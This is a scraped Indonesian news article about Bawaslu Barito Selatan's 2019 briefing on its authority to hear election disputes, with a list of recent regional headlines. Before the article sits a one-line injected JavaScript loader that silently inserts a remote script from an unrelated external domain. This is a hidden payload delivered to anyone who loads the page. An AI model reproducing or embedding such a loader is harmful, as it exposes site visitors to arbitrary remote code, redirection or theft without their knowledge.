(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Barito Selatan

Bawaslu Barsel Memiliki Kewenangan Adili Sengketa Pemilu


BUNTOK, Bawaslu Barito Selatan (Barsel) menggelar sosialisasi masalah sengekata Pemilu 2019. Ketua Bawaslu Nur Cambyah mengatakan, berdesarkan UU Pemilu No 7 Tahun 2017,  kewenangan Bawaslu saat ini bertambah dengan menjadi bagian dalam Mahkamah Pemilu.

“Jadi Bawaslu dapat mengadili perkara-perkara terkait pemilu jika ada pihak yang merasa dirugikan. Baik partai politik atau peserta dengan peserta, atau pun lainnya. Ini bisa dilaporkan untuk disidangkan sengketa pemilu,” kata Nur Cambyah kepada Kanalkalimantan.com di aula hotel Afiat Buntok, Sabtu (16/3).

Masih kata Hamzah, permasalah yang terjadi seperti adanya multitafsir terkait berita acara suara yang dikeluarkan KPU dan bila mana ada yang merasa dirugikan itu bisa dilaporkan. “Walau demikian, syarat formil pelaporan harus terpenuhi,” ujar pria yang akrab disapa Hamzah.

Ia juga mengatakan, ketika syarat formil itu terpenuhi, maka sekretariat Bawaslu akan melakukan registrasi sebanyak 7 rangkap untuk masa proses hingga sidang adalah 12 hari. “Namun sebelum melakukan masa sidang kita akan lakukan mediasi dulu setelah itu baru musyawarah dan jika tidak ada titik temu baru kita adakan sidang sengketa tersebut hingga masa waktu 12 hari itu,” papar Hamzah.

Ia juga berharap semoga di Barsel permasalahan ini jangan sampai terjadi. Namun bila mana ada para Parpol yang merasa dirugikan dari hasil berita acara KPU, surat keputusan KPU, bisa dilakukan sidang sengketa di tingkat Bawaslu. “Kita tidak menginginkan semua itu terjadi, karena kita ingin semua tahapan pemilu berjalan adil sebagai mana mestinya,” pinta Hamzah.

Ditambahkan olehnya terkait sidang sengketa ini keputusan Bawaslu mengikat, namun proses sidang sengketa ini hanya untuk peserta pemilu dan penyelenggara pemilu sesuai mekanismenya saja. “Makanya untuk sosialisasi kali ini kita undang para Parpol, Panwascam untuk bisa mengtahui terkait permasalahan sidang sengketa ini,” tandas Hamzah.(digdo)

Reporter:Digdo
Editor:Chell

Desy Arfianty

Recent Posts

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

12 jam ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

12 jam ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

13 jam ago

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

13 jam ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

14 jam ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

16 jam ago

This website uses cookies.